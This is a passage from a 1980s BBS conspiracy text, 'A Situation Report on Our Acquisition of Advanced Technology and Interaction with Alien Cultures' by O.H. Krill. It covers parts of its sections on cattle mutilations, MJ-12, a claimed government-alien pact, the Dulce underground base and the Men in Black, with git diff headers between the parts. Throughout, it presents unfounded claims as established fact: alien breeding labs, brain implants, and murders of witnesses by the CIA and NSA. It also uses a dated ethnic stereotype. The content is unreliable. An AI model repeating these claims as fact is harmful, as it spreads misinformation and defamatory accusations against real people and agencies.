absolute power have been the motives on the human side. Survival
has been the motive on the alien side, or at least as far as the
predominant alien visitors are concerned.
The intent of this paper is to bring much of the details
regarding this into the open. You are not being asked to believe
it, but to consider it in the light of what has happened, what is
happening, and what may be developing right under our very noses.
If you find that you cannot stomach such thoughts, or that you
cannot deal with it, read no further.
It is quite evident, or it should be, that the UFO situation
is both complex and dangerous. The UFO problem is a multi-
situational and multi-dimensional phenomena. We have established
the following as having a basis in fact:
o Craft from other worlds have crashed on Earth.
o Alien craft are from both ultra-dimensional sources
and sources within this dimension.
o Early U.S. government efforts at acquiring alien
technology were successful.
o The U.S. government has had live alien hostages at
some point in time.
o The government has conducted autopsies on alien
cadavers.
o U.S. intelligence agencies, security agencies, and
public agencies are involved in the coverup of facts
pertaining to the situation.
o People have been and are currently abducted,
mutilated, murdered and kidnapped as a result of the
UFO situation.
o There is a current active alien presence on this
planet among us that controls difference elements of
our society.
o Alien forces maintain bases on Earth and on the Moon.
o The U.S. government has had a working relationship
with alien forces for some time, with the express
purpose of gaining technology in gravitational
propulsion, beam weaponry and mind control.
o Millions of cattle have been killed in the process
of acquiring biological materials.
o Both aliens and the U.S. government are responsible
for mutilations, but for different reasons.
o We live in a multi-dimensional world that is
overlapped and visited by entities from other
dimensions. Many of these entities are hostile.
Many are not hostile.
o The basis of our genetic development and religions
lies in intervention by non-terrestrial and
terrestrial forces.
o Actual technology far exceeds that perceived by
the public.
o The United States space program is a cover operation
that exists for public relations purposes.
o People are being actively killed in order to suppress
the facts about the situation. The CIA and the NSA
are involved so deeply that exposure would cause
collapse of their overt structure.
o Facts indicate alien overt presence within five to
ten years.
o Our civilization is one of many that have existed in
the last billion years.
You will probably have more conclusions. To see, just read on....
Animal Mutilations and UFOs
General Chronology
In the middle of 1963, a series of livestock attacks occurred
in Haskell County, Texas. In a typical case, an Angus bull was
found with its throat slashed and a saucer-sized wound in its
stomach. The citizenry attributed the attacks to a wild beast of
some sort, a "vanishing varmint." As it continued its furtive
forays through the Haskell County outback, the bloodluster assumed
somewhat more mythic proportions and a new name was destined to
endure: The Haskell Rascal.
Throughout the following decade, there would be sporadic
reports of similar attacks on livestock. These attacks were
occasionally described as "mutilations." The most prominent of
these infrequent reports was the mutilation death of "Snippy" the
horse in southern Colorado in 1967, accompanied by area UFO
sightings, a Condon Committee investigation and worldwide press
coverage.
It was in 1973 that the modern animal mutilation wave can be
said to have begun in earnest. That year is generally thought of
as the year of the last concerted UFO flap, although there may be
reason to question that contention, given the events of two years
later.
In 1973 and 1974 the majority of the classic mutilation
reports originated in the central United States.
In 1975, an unprecedented onslaught spread across the western
two-thirds of the United States. Mutilation reports peaked in that
year, accompanied by accounts of UFOs and unidentified
helicopters. In 1978, the attacks increased.
By 1979, numerous livestock mutilations were occurring in
Canada, primarily in Alberta and Saskatchewan. Attacks in the
United States leveled off.
In 1980, there was an increase in activity in the United
States. Mutilations have been reported less frequently since that
year, though this may be due in part to an increased reluctance to
report mutilations on the part of ranchers and farmers. The
mutilations still continue. Over ten thousand animals have died in
the United States; although the mutilations have been occurring
worldwide, the same circumstances are always present.
General Observations
Any investigation which intends to probe the systematic
occurrence of the mutilation attacks upon livestock and other
animals must include within its purview certain factors which may
or may not be directly related to the acts of mutilation
themselves. These mutilations -- the killing and furtive removal
of external or internal parts -- have been directed at literally
thousands of animals (primarily livestock) since the 1960s. The
surgery on these animals is primarily conducted with uncanny
precision, suggesting the use of highly sophisticated implements
and techniques. The numbing and persistent regularity of the
mutilations and the seemingly casual disposal of the useless
carcasses all hint at extreme confidence -- even arrogance -- of
the mutilators. It is an arrogance which appears to be justified
by the freedom and impunity with which these acts have been
carried out.
The pertinence of a specific element of the problem is
shortly revealed in the course of any thorough investigation into
the mutilations. I refer to the appearance of unmarked and
otherwise unidentified helicopters within a spatial and temporal
proximity of animal mutilation sites. The occurrence of the two has
been persistent enough to supercede coincidence.
These mystery helicopters are almost always without
identifying markings, or markings may appear to have been painted
over or covered with something. The helicopters are frequently
reported flying at abnormal, unsafe or illegal altitudes. They may
shy away if witnesses of law officers try to approach.
There are several accounts of aggressive behavior on the part
of the helicopter occupants, with witnesses chased, "buzzed,"
hovered over or even fired upon. At times these choppers appear
very near mutilation sites, even hovering over a pasture where a
mutilated carcass is later found. They may be observed shortly
before or after mutilations occur -- or within days of a
mutilation. The intention here is merely to stress that the
"mystery helicopter" element is a part of the issue which deserves
scrutiny.
The idea of "mystery helicopters" did not develop
concurrently with the animal mutilations themselves. Such
helicopters -- unmarked, flying at low levels, soundless (or
sounding like helicopters) -- have been reported for years, and
have been linked to an even more widespread phenomenon -- the
"phantom" (fixed wing) aircraft. The helicopters themselves have
been seen in area where UFOs were reported, in many countries. In
some of the more interesting accounts, the mystery helicopters
were seen with UFOs, or shortly after the UFOs were sighted.
The most apt case I can think of, but certainly not the most
isolated, is a case described by Virgil Armstrong in his lecture
on "What NASA Didn't Tell Us About the Moon." He discusses
helicopters and UFOs in general.
Armstrong describes a friend of his that had invented a
special camera arrangement with the idea that it would increase
the chances of getting good pictures of UFOs. The camera was
mounted on a gunstock along with a laser. The idea was to fire the
laser at the UFO, if one appeared, and hopefully the UFO would
come to a halt, enabling him to take some quality pictures.
Not too long after they were set up in the desert, a UFO did
in fact appear, and they fired the laser and the disk stopped in a
hovering mode. They took quite a few good pictures of it. Shortly
thereafter, the disk flew away. Within minutes, they heard the
unmistakable sound of helicopters coming their way. The
helicopters landed strategically around their group, and out of
the choppers came a croup of Black Berets, which are strategic Air
Force security forces. The commander of the Berets walked up to
the group and said, "What are you doing here?" "Obviously, we are
photographing flying objects, and we just saw a flying saucer and
we got some very very good pictures of it." The commander then
asked the leader of the group if he knew where he was. The group
leader replied "No." The commander then said, "We suggest you get
out of here right now!" The group leader then asked, "What right
do you have to tell us to get out of here? Is this government
land?" The commander of the Black Berets replied, "Indeed it is.
It is Andrews Air Force Base, and if you are not out of here in
ten minutes, you are under arrest." With that, the Berets removed
the film from the camera, and the group left.
Not only does this illustrate one kind of instance where UFOs
are seen in relationship to helicopters, but it also illustrates
the fact that either some of the disks are ours, or we have a
military/government relationship with those who fly them. The
helicopters mentioned above are not the mystery ones, but were
United States military ones.
Another case of military helicopters and United States-owned
disks comes from the book "UFO Crash at Aztec," by Wendell
Stevens. In the book he relates the incident where an Indian was
backpacking in the mountains in the vicinity of Area 51, Groom
Lake, on the Nellis AFB range north of Las Vegas. He heard
approaching helicopters and hid out of sight. The helicopters were
broadcasting a warning over public address systems for anyone in
the area to show themselves because they were going to conduct a
"dangerous military test." The Indian maintained his hidden
posture, and the helicopters flew overhead and back down toward
the Groom Lake facility. Minutes later, two helicopters were seen
flying up the canyon with a black disk flying between them and
slightly above them. They flew overhead and then the helicopters
turned around and flew back towards the base, followed shortly
afterward by the disk. The individual's name and how to contact
him for further details is given in the book.
The Mystery Choppers
Situations involving the mystery helicopters appear to be a
little more insidious. A good example is an event which occurred
in Madison County, Montana, between June and October of 1976.
Twenty-two confirmed cattle mutilations had occurred during that
period, and they were accompanied by reports throughout the county
of silent, unmarked, jet-black helicopters, flashing or steady
anomalous lights in the air and near the ground, unmarked fixed-
wing aircraft and white vans in remote and previously inaccessible
areas.
Toward the latter part of this period, in early autumn of
1976, a hunter from Bozeman, Montana, was out alone around 3:00pm
one day in the Red Mountain area near Norris. He watched as a
black helicopter without markings flew overhead and disappeared
below a small hill. The curious hunter climbed to the top of the
hill. There was the black chopper (a Bell Jet Ranger, he thought)
on the ground, the engine still running. Seven men had apparently
exited from the craft and were walking up the hill toward the
observer. As the hunter advanced toward the seven, he waved and
shouted congenial greetings. It was then that he realized there
was something about the men -- they were all Oriental. They had
slanted eyes and olive skin and were jabbering among themselves in
some indecipherable language. They wore "everyday" clothes, not
uniforms. Suddenly they began to return to the helicopter. The
hunter, still waving and shouting friendly greetings, started
after them. The Orientals quickened their pace. When the hunter
approached within five or six feet, they broke into a dead run,
crowded into the chopper and took off.
In a documented "mystery helicopter" wave in England,
accounts place Oriental-appearing occupants in an unidentified
chopper. Slant-eyed, olive skinned, Oriental-seeming occupants
have been a staple at the heart and at the periphery of UFO
accounts for years. Significant numbers of the infamous "men-in-
black" (MIB) have a similar appearance, but very often they are
seen as very pale and gaunt men who are sensitive to light.
In STIGMATA No. 5 (Fall-Winter 1978) Tom Adams outlined the
most prominent speculative explanations accounting for the
mutilation/helicopter link, including the following:
o The helicopters are themselves UFOs, disguised to
appear as terrestrial craft.
o The choppers originate from within the U.S.
government/military and are directly involved in
conducting the actual mutilations.
o The helicopters are government/military and are not
involved in the mutilations but are investigating
them.
o The helicopters are government/military, and they
know about the identity and motives of the
mutilators and by their presence, they are trying to
divert attention to the possibility of involvement
by the military.
The answer, as far as Tom Adams is concerned, could be a
combination of the above explanations. There also has been
speculation that they are involved in biological experiments with
chemical or biological warfare or the geobotanical pursuit
of petroleum and mineral deposits. On one occasion, an army
standard-type scalpel was found at a mutilation site. Since the
disks have been mostly involved with the mutilations, it is
thought that this was a diversionary event.
These events, or the discussion of them, is just the
precursor to the actual revelations of what is behind the
mutilations: alien acquisition of biological materials for their
own use. To discuss this in a logical and sequential manner, we
must review what has been really happening right under our noses:
direct interaction with extraterrestrial biological entities
(EBE's). To discuss that, however, we must attempt to start at the
beginning with what we now know to be true.
The Saga Begins
It seemingly all began thousands of years ago, but for the
purposes of this discussion, let's start with some events that we
all are familiar with. In 1947, two years after we set off the
first nuclear explosion that our current civilization detonated,
came the Mantell episode, where we had the first recorded incident
of a military confrontation with extraterrestrials that resulted
in the death of a military pilot. It is quite evident now that our
government did not known quite how to handle the situation. In
1952, the nation's capital was overflown by a series of disks. It
was this event which led to the involvement of United States
security forces (CIA, NSA, DIA, FBI) to try to keep the situation
under control until they could understand what was happening.
During this period, the government established a working group,
known as Majestic Twelve (MJ-12). The original members were:
Admiral Roscoe H. Hillenkoetter, Dr. Vannevar Bush, Secretary
James Forrestal, General Nathan P. Twining, General Hoyt S.
Vandenburg, Dr. Detlev Bronk, Dr. Jerome Hunsaker, Mr. Sidney W.
Souers, Mr. Gordon Gray, Dr. Donald Menzel, General Robert M.
Montague, and Dr. Lloyd V. Berkner.
The MJ-12 group has been a continuously existing group since
it was created, with new members replacing others that die. For
example, when Secretary Forrestal was upset at seeing the United
States sold out in World War II, he wound up being sent to a Naval
hospital for emotional strain. Before relatives could get to him,
he "jumped out a 16th story window." Most persons close to him
consider his suicide contrived. When Forrestal died, he was
replaced by General Walter B. Smith.
In December of 1947, Project Sign was created to acquire as
much information as possible about UFOs, their performance
characteristics and their purposes. In order to preserve security,
liaison between Project Sign and MJ-12 was limited to two
individuals within the intelligence division of the Air Materiel
Command whose role it was to pass along certain types of
information through channels. Project Sign evolved into Project
Grudge in December, 1948. Project Grudge had an over civilian
counterpart named Project Bluebook, with which we are all
familiar. Only "safe" reports were passed to Bluebook. In 1949,
MJ-12 evolved an initial plan of contingency called MJ-1949-04P/78
that was to make allowance for public disclosure of some data
should the necessity present itself.
Majestic Twelve was originally organized by General George C.
Marshall in July, 1947, to study the Roswell-Magdalena UFO crash
recovery and debris. Admiral Hillenkoetter, director of the CIA
from May 1, 1947, until September, 1950, decided to activate the
"Robertson Panel," which was designed to monitor civilian UFO
study groups that were appearing all over the country. He also
joined NICAP in 1956 and was chosen as a member of its board of
directors. It was from this position that he was able to act as
the MJ-12 "mole," along with his team of other covert experts.
They were able to steer NICAP in any direction they wanted to go.
With the "Flying Saucer Program" under complete control of MJ-12
and with the physical evidence hidden away, General Marshall felt
more at ease with this very bizarre situation. These men and their
successors have most successfully kept most of the public fooled
for 39 years, including much of the western world, by setting up
false experts and throwing their influence behind them to make
their plan work, with considerable success. Until now.
Within six months of the Roswell crash on 2 July 1947 and the
finding of another crashed UFO at San Augustine Flats near
Magdalena, New Mexico, on 3 July 1947, a great deal of
reorganization of agencies and shuffling of people took place. The
main thrust behind the original "security lid," and the very
reason for its construction, was the analysis and attempted
duplication of the technologies of the disks. That activity is
headed up by the following groups:
o The Research and Development Board (R&DB)
o Air Force Research and Development (AFRD)
o The Office of Naval Research (ONR)
o CIA Office of Scientific Intelligence (CIA-OSI)
o NSA Office Of Scientific Intelligence (NSA-OSI)
No single one of these groups was supposed to know the whole
story. Each group was to know only the parts that MJ-12 allowed
them to know. MJ-12 also operates through the various civilian
intelligence and investigative groups. The CIA and the FBI are
manipulated by MJ-12 to carry out their purposes. The NSA was
created in the first place to protect the secret of the recovered
flying disks, and eventually got complete control over all
communications intelligence.
This control allows the NSA to monitor any individual through
mail, telephone, telexes, telegrams, and now through online
computers, monitoring private and personal communications as they
choose. In fact, the present-day NSA is the current main extension
of MJ-12 pertaining to the "Flying Saucer Program." Vast amounts
of disinformation are spread throughout the UFO research field.
Any witnesses to any aspect of the program have their lives
monitored in every detail, for each has signed a security oath.
For people who have worked in the program, including military
members, breaking that oath could have any on of the following
direct consequences:
o A verbal warning accompanied by a review of the
security oath.
o A stronger warning, sometimes accompanied by a brow-
beating and intimidation.
o Psychologically working on an individual to bring on
depression that will lead to suicide.
o Murder of the person made to appear as a suicide or
accident.
o Strange and sudden accidents, always fatal.
o Confinement in special "detention centers."
o Confinement in "insane asylums" where they are
"treated" by mind-control and deprogramming
techniques. Individuals are released with changed
personalities, identities, and altered memories.
o Bringing the individual into the "inside," where he
is employed and works for "them," and where he can be
watched. This is usually in closed facilities with
little contact with the outside world. Underground
facilities are the usual place for this.
Any individual who they perceive to be "too close to the
truth" will be treated in the same manner. MJ-12 will go to any
length to preserve and protect the ultimate secret. As we will see
later, the characteristics of what this ultimate secret would turn
out to be would change drastically, for it was something even MJ-
12 could not predict -- actual contact with alien groups.
How the actual contact between the government and aliens was
initially made is not known, but the government was made aware
that it could be done by a civilian using the right equipment.
Dr. Paul Bennewitz, civilian scientist, did so using computer
equipment and informed the government he had done so, not
realizing that by then, in 1983, that the government was in truth
as deep into dealing with the aliens as his communications with
them revealed. Dr. Bennewitz lives next to Manzano Weapons Storage
Area in Albuquerque, New Mexico. He observed UFOs constantly over
the area and initially decided that they were a threat to the
installation. He proceeded to figure out a coding system and
attempted and was successful in communicating with the aliens that
were flying over that area.
What he found out is that after initial contacts with the
aliens years ago, we agreed to to provide them with bases
underground in the United States in return for certain
technological secrets which the aliens would reveal to us. The
aliens would also be allowed to carry out certain operations,
abductions, and mutilations without intervention.
The original contact between the government and the
extraterrestrial biological entities, who are grey in color and
about 3.5 to 4.5 feet high (hereafter referred to as the Greys),
was achieved between 1947 and 1951. We knew that the Greys were
instrumental in performing the mutilations of animals (and some
humans) and that they were using the glandular substances derived
from these materials for food (absorbed through the skin) and to
clone more Greys in their underground laboratories. The government
was also aware that the Greys performed some of the abductions to
secure genetic materials. The government insisted that the Greys
provide them with a list that would be presented to the National
Security Council.
Through all this, the government thought that the Greys were
basically tolerable creatures, although a bit distasteful. They
presumed at the time that it was not unreasonable to assume that
the public would and could get used to their presence. Between
1968 and 1969 a plan was formulated to make the public aware of
their existence over the succeeding twenty years. This time period
would culminate with a series of documentaries that would explain
the history and intentions of the Greys.
The Greys assured us that the real purpose of the abductions
was for monitoring of our civilization, and when we learned that
the abductions were a lot more frequent and insidious than we were
led to believe, the government became concerned. Their concern was
also based on additional information regarding the purposes for
the abductions:
o Insertion of a 3mm spherical biological monitoring
device through the nasal cavity into the brain of the
abductee.
o Implementing subliminal post-hypnotic suggestions
that would compel the abductee to perform some
specific act at a time to be within the next two
to five years.
o Genetic crossbreeding between the Greys and human
beings.
o Insertion of discoid monitoring devices into the
muscle tissue of the abductees. Presence of these has
been verified by x-ray.
By the time we had found out the truth about the intentions
of the Greys (they intend to stay here and stay in control of our
world) it was too late. We had already "sold out" humanity. Not
that it would have made any difference, because they were here
doing what they were doing anyway.
In 1983, a story was outlined by government sources that said
that the Greys are responsible for our biological evolution
through manipulation of the DNA of already evolving primates on
this planet. Various time intervals of the DNA manipulation were
specified for 25,000, 15,000, 5,000, and 2,500 years ago.
Originally, the government thought that the Greys meant us no
harm, but today, in 1988, the picture that is emerging is exactly
the opposite. The story now is one of great deception at several
different levels: the Greys Trojan Horse-style manipulation and
lying which allied MJ-12 forces with them four decades ago; the
government's disinformation of the subject of UFOs in order to
perpetuate the agreement with the Greys free of public scrutiny;
the lies to the abductees; the Greys on-going abduction of people
and mutilation of animals in order to harvest enzymes, blood and
other tissues for their own survival needs; and a genetic blend of
the Grey race and a tall Nordic race to enable Grey interface with
humans to be done with greater ease.
Information from a source at a southwest Army base reveals
that these multiple levels of deception are true. It is also
indicated that the goal of SDI (Star Wars) is actually to follow
through with an attack, proposed by the Greys, on the Nordics when
they arrive en masse between now and 1992. This time schedule
seems to match with the post-hypnotic programming of many
abductees for actions between the next two to five years.
This same source sees the world dominated and controlled by
the Greys in a way similar to that portrayed in the "V" television
series -- they are concerned only for their own survival agenda,
and this agenda requires biological substances from other life
forms on our planet.
The apparent reasoning for the Grey preoccupation with this
is due to their lack of a formal digestive tract and the fact that
they absorb nutrients and excrete waste directly through the skin.
The substances that they acquire are mixed with hydrogen peroxide
and "painted" on their skin, allowing absorption of the required
nutrients. It is construed from this that some weaponry against
them might be geared in this direction.
Digitized by, and available from, IllumiNet BBS 4043771141
<0>

308
textfiles.com/ufo/ufok2.txt Normal file
View File

@@ -0,0 +1,308 @@
(Part 2 of 4)
****************
* CONFIDENTIAL *
****************
A SITUATION REPORT ON OUR ACQUISITION OF ADVANCED
TECHNOLOGY AND INTERACTION WITH ALIEN CULTURES
by O.H. KRILL
Observations by a Visiting Nordic
In October, 1987, UFO researcher George Andrews was
successfully able to contact one of the Nordics not associated
with the Greys, through a woman in California. What follows are
the comments made by the alien:
"Were you a culture about to invade, you would not do it with
a flourish of ships showing up in the heavens and undergo risk of
being fired upon. That's the type of warfare slightly less evolved
beings get into. You would create intense confusion and
disagreement with only inferences to your presence -- inferences
which would [in turn] cause controversial disagreement.
"The Greys are insidious little fiends. They did exactly [to
us] what they're doing here [to you]. You are not on the verge of
an invasion. You are not in the middle of an invasion. The
invasion has already taken place. It's merely in its final stages.
"What would you invade? [Here he describes the operational
plan of the Greys from the beginning.] You would go to the most
secret of communities within a society. In the case of the United
States, you would go and infiltrate the CIA. You would take over
some of them and you would take over part of the KGB.
"You would create great dissension and disagreement between
factions of the public at large -- some groups saying they have
seen UFOs, others saying 'No, no, this is not possible.' You would
involve two major countries in an on-going idiotic philosophical
disagreement so that while the Soviet Union and the United States
constantly battle back and forth about who has which piece of
territory or whether one invades Iran or whether one invades
Afghanistan or whatever... whether one dismantles one nuclear
warhead or the other dismantles another group of warheads -- you
would sit back and laugh if you had the capacity to laugh.
"You would present yourself indeed to some in a group who
would protect you [CIA or MJ-12] thinking they had a secret more
secret and more perfect knowledge of something than anyone else on
this planet had, and they would covet you and you would trust
their own greed and you would trust their own mass stupidity to
trap them. And you'd do it on both sides.
"You'd show yourself to some of the mass populace to further
involve [factions of] the government in an attempt to shut them
up, to keep them even more busy quieting them and trying to 'stop
more information about UFOs from getting out.' You'd have the mass
populace to a state where they distrusted the government. 'Oh, why
don't they believe us? Why can't they understand that these things
are really happening? We're not crazy!'
"So you would have battles constantly about whether UFOs
exist or they don't exist. You would have the public and the
government at each other's throats. You would set two major
superpowers at each other's throats. And you would have set up
groups like 'haves' -- the wealthy but contented -- and the 'have-
nots.' You would plant the seeds of massive discontent.
"Eventually you might have some show of ships landing in the
1990s. One or two. By the time they have landed, be assured they
will be in complete control. You will start doing crossbreeds and
more crossbreeds, generation after generation.
"You bribe the government with a few tidbits -- a Star Wars
system. You tease and tempt the Soviet Union with a laser system
far finer than any of their own scientists could think of. And you
always have that subtle inference -- just on the borderline of
consciousness so that UFOs don't seem to believable, yet you keep
it couched in secrecy and make it seem quite so insane that no one
would believe them. On top of it, you would unleash forces that
would want to kill them [UFO contactees] if they disclosed that
the CIA is dealing with the exact same things the [contact victim]
is.
"Maybe one or two hundred years from now, some of the Greys
will even physically mingle and you may have some creatures
walking around who are pretty much hybrids between Greys and your
own race. For now, anything that walks around will look much like
yourselves. It's simpler. It holds down on mass panic.
"Everyone who has experiences with them [Greys] will be at
odds with the government. To add to that, we will go into a
complete phased of earthquake after earthquake and upheaval after
upheaval.
"The inner core of the CIA is deeply controlled by the Greys.
The CIA sees interaction with the Greys as a path to greater
scientific achievement.
"One reason you are seeing so many different kinds of UFOs is
that other cultures are watching with extreme interest. Scientists
from other cultures arrive to watch. The Greys have not only taken
over the intelligence agencies, they have also taken over what
those agencies call 'lunatic fringe groups.'"
*****************************************************************
Well, that's what they Nordic had to say. The source of this
also makes the following commentary:
"The ultimate evil is that masked form of psychological
complacency that leads one to adhere to a group philosophy rather
than eke out one's own horizons. As soon as you acquire an
awareness of being a so-called 'chosen special group,' you are on
the way to a fall. That is the seed of destruction in any society
and any culture and it leaves it vulnerable. It will be the
eventual undoing of the Greys as well. They see not their error --
it is the very weakness they seize upon that is their own inherent
weakness. To try and change a Grey, or a cultish type of 'Star
Person,' or a CIA member is futile. It will happen, but all in its
own good time... it is the spirit that makes anyone stand up and
disagree with something that is untrue and incorrect that will be
the thorn in the side of the Greys, and the other forces that have
allied with them."
During the occupation of the Greys, they have established
quite a number of underground bases all over the world, especially
in the United States. One such base (among others in the same
state) is under Archuleta Mesa, which is about 2.5 miles northwest
of Dulce, New Mexico. Details about that base have come across by
way of two sources. The first source is by way of an abduction of
a woman and her son who witnessed the pickup of a calf for
extraction of biological materials.
"In May, 1980, a most interesting case occurred in northern
New Mexico. A mother and her son were driving on a rural highway
near Cimarron when they observed two craft in the process of
abducting a calf. Both of them were then abducted and taken on
separate craft to the underground installation, where the woman
witnessed the mutilation of the calf. It was alleged that she also
observed vats containing cattle body parts floating in a liquid,
and another vat containing the body of a male human. The woman was
subjected to an exam and it was further alleged that small
metallic objects were implanted into her body as well as into her
son's body. More than one source has informed us that catscans
have confirmed the presence of these implants."
The above extract is from a transcript of a conversation
between Jim McCampbell and Dr. Paul Bennewitz on July 13, 1984.
Bennewitz reports that through regressive hypnosis of the mother
and child (required only in about 30% of abduction cases)and his
own follow-up investigation (including communications receive via
his computer terminal, which are ostensibly from a UFO-related
source), he was able to determine the location of the underground
facility: a kilometer underground beneath Archuleta Mesa on the
Jicarilla Apache Indian Reservation near Dulce, New Mexico (since
1976, one of the area of the U.S. hardest hit by mutilations).
Bennewitz' information is that this installation is operated
jointly as part of an on-going program of cooperation between the
U.S. government and EBEs.
There are also underground bases at Kirtland AFB and Holloman
AFB, as well as at scores of other bases around the world,
including Bentwaters, England.
Back to the base under discussion.... After Bennewitz briefed
Air Force officials on what he had found, a trip to the area
revealed the following data:
The base is 2.5 miles northwest of Dulce, and almost
overlooks the town. There is a level highway 36 feet wide going
into the area. It is a government road. One can see telemetry
trailers and buildings that are five-sided with a dome. Net to the
domes, a black limousine was noted -- a CIA vehicle. These limos
will run you off the road if you try to get into the area. To the
north there is a launch site. There are two wrecked ships there;
they are 36 feet long with wings, and one can see oxygen and
hydrogen tanks. The ships that we got out of the trade are atomic-
powered with plutonium pellets. Refueling of the plutonium is
accomplished at Los Alamos. The base has been there since 1948.
Some of the disks are piloted by the NSA. The base is 4,000
feet long and helicopters are going in and out of there all the
time. When it became known that Bennewitz was familiar with this,
the mutilations in the area stopped. In 1979, something happened
and the base was temporarily closed. There was an argument over
weapons and our people were chased out. The aliens killed 66 of
our people, and 44 got away.
One of the people who in fact got away was a CIA agent who,
before leaving, made some notes, photos, and videotapes, and went
into hiding. He has been in hiding ever since, and every six
months he contacts each of five people he left copies of the
material with. His instructions were that if he missed four
successive contacts, the people could do whatever they want with
the material.
This agent calls an individual known to MUFON. Somehow, a
description of the "Dulce Papers" was issued, and was received in
December, 1987, by many researchers. The "Dulce Papers" were
composed of 25 black and white photos, a videotape with no
dialogue and a set of papers that included technical information
regarding the jointly occupied (U.S.-Alien) facility one kilometer
beneath the Archuleta Mesa near Dulce, New Mexico. The facility
still exists and is currently operational. It is believed that
there are four additional facilities of the same type, one being
located a few miles to the southeast of Groom Lake, Nevada.
****************************************************************
"A general description of what these papers contain is that
they contain documents that discuss copper and molybdenum, and
papers that discuss magnesium and potassium, but mostly papers
about copper. Sheets of paper with charts and strange diagrams.
Papers that discuss UV light and gamma rays. These papers tell
what the aliens are after and how the blood (taken from cattle) is
used. The aliens seem to absorb atoms to eat. They put their hands
in blood, sort of like a sponge, for nourishment. It's not just
food they want; the DNA in cattle and humans is being altered. The
'Type One' creature is a lab animal. They know how to change the
atoms to create a temporary 'almost human being.' It is made with
animal tissue and depends on a computer to simulate memory, a
memory the computer has withdrawn from another human. Clones. The
'almost human being' is slow and clumsy. Real humans are used for
training, to experiment with and to breed with these 'almost
humans.' Some humans are kidnapped and used completely. Some are
kept in large tubes, and are kept alive in an amber liquid.
"Some humans are brainwashed and used to distort the truth.
Certain male humans have a high sperm count and are kept alive.
Their sperm is used to alter the DNA and create a non-gender being
called 'Type Two.' That sperm is grown in some way and altered
again, put in wombs. They resemble 'ugly humans' when growing but
look normal when fully grown, which only takes a few months from
fetus-size.
"They have a short life span, less than a year. Some female
humans are used for breeding. Countless women have had a sudden
miscarriage after about three months' pregnancy. Some never know
they were pregnant, others remember contact some way. The fetus is
used to mix the DNA in types one and two. The atomic makeup in
that fetus is half human, half 'almost human,' and would not
survive in the mother's womb. It is taken at three months and
grown elsewhere."
****************************************************************
Well, that's what the "Dulce Papers" review says. There are
some pen and ink reproductions of some of the photos made in the
laboratories (3), an illustration of what one of the wombs looks
like (2' x 4'), an illustration showing one of the tubes where one
of the "almost humans" is grown, a page showing a simple diagram
of crystalline metal, pure gold crystal, and what looks like
either a genetic or metallurgical diagram or chart. Also attached
is what looks like an x-ray diffraction pattern and a diagram of
hexagonal crystals, with a comment that they are best for
electrical conduction.
It would appear that the last half of material in the
"review" applies to the supercrystalline metal used for hull
structure, or something along that line.
****************************************************************
Obviously, this is all rather bizarre from a certain point of
view -- any point of view, in fact. Nevertheless, material that is
supported by years of descriptions and multitudes of
corroborations must mean something, especially when bumped against
what is seen to be going on.
It is apparent from this and other data that has been
accumulated over the years, that there are underground bases and
tunnel complexes all over the world, and that more are being
constructed all the time. Many of you may recall the "Shaver"
mysteries and inner-earth city stories. Well, all that is true.
There are cities down there, amongst other things, and some of
them have nothing to do with the main subject of this paper.
They've been there for a long time.
Let's change direction for a moment. One individual by the
name of Lew Tery has been working on some ideas regarding UFOs and
geomagnetic anomalies. I will go into what he has discovered
(although the concept of the relationship is not new) and let you
judge that for yourself.
After purchasing aeromagnetic and gravitational anomaly maps
from the United States Geological Survey, it becomes evident that
there was indeed a valid connection between these areas and UFOs.
Mr. Tery gave a lecture in Arizona about that relationship, and
was subsequently harassed by the FBI, and told that the
information is "sensitive." Mr. Tery took the hint and declined to
talk publicly about it to the degree that he had been doing.
Both the aeromagnetic and gravitational (Bougier Gravity)
maps indicate basic field strength, as well as areas of high and
low field strength. Interestingly enough, the areas of maximum and
minimum field strength have the following:
o All have frequent UFO sightings.
o All are either on Indian Reservations, government
land, or the government is trying to buy up the land.
o Many of them, especially where several are clustered
together, are suspected bases areas and/or areas
where mutilations and abductions have historically
taken place.
In these observations, Mr. Tery has gone far, but he has gone
a little farther in noting that there are times when the UFOs are
seen in these areas. Through painstaking research, Mr. Tery found
that the sightings, as well as many abductions and mutilations,
occur:
o On the new moon or within two days before the new
moon.
o On the full moon or within two days before the full
moon.
o At the perihelion (moon closest to earth) or within
two days before the perihelion.
A glance at the nearest farmers' almanac will give you the
information you require as far as the days for this year or any
other one. There seems to be no concrete explanation for the
coincidence of the times and the events, but it is true.
Digitized by, and available from, IllumiNet BBS 4043771141
<0>

780
textfiles.com/ufo/ufok3.txt Normal file
View File

@@ -0,0 +1,780 @@
(Part 3 of 4)
****************
* CONFIDENTIAL *
****************
A SITUATION REPORT ON OUR ACQUISITION OF ADVANCED
TECHNOLOGY AND INTERACTION WITH ALIEN CULTURES
by O.H. KRILL
The Men in Black
All things considered, UFO research has become pretty much of
a circus today, and the most intriguing and controversial sideshow
skirting the edges is the question of the "silencers," or the
mysterious "Men in Black." There is a strong subliminal appeal in
these accounts of visits by mysterious dark-suited figures (I have
been visited myself, as have others I've known) attempting to
silence UFO witnesses. A typical situation would be that a witness
has a UFO sighting or UFO-related experience. Shortly thereafter
he is visited by one or more "odd"-looking men who relate to him
the minutest details of his experience, even though he has as yet
told no one for fear of ridicule or other reasons.
The men warn him about spreading the story of his experience
around and sometimes even threaten him personally, sometimes
obliquely, sometimes directly. Any evidence, if it exists, is
confiscated in one way or another. Sometimes the visit is for some
totally meaningless reason and the subject of UFOs is hardly
mentioned, if at all. But again, the men all seem to look alike.
We actually seem to find ourselves in close proximity to
beings who obviously must be directly connected in some way with
the objects themselves or the source behind them, yet they seem to
be functioning unobtrusively within the framework of our own
everyday existence.
The classic conception of an MIB is a man of indefinite age,
medium height and dressed completely in black. He always has a
black hat and often a black turtleneck sweater. They present an
appearance often described as "strange" or "odd." They speak in a
dull monotone voice, "like a computer," and are dark-complected
with high cheekbones, thin lips, pointed chin, and eyes that are
mildly slanted.
The visitors themselves are often on absurd missions. They
have reportedly posed as salesmen, telephone repairmen or
representatives from official or unofficial organizations. Their
mode of transportation is usually large and expensive cars --
Buicks or Lincolns, sometimes Cadillacs, all black, of course.
I might note at this point that their physical appearance
also has included beings that have pale-greyish skin, and that
some of them have been seen to have blond hair, yet they wear the
clothing and drive the cars previously described.
Their cars often operate with the headlights off, but ghostly
purple or greenish glows illuminate the interior. Unusual insignia
have been seen emblazoned on the doors and the license plates are
always unidentifiable or untraceable.
The fabric of their clothes has been described as strangely
"shiny" or thin, but not silky -- almost as if they have been cut
from a new type of fabric.
Their often mechanical behavior has caused them to be
described by some as being like robots or androids (think back to
the Dulce lab).
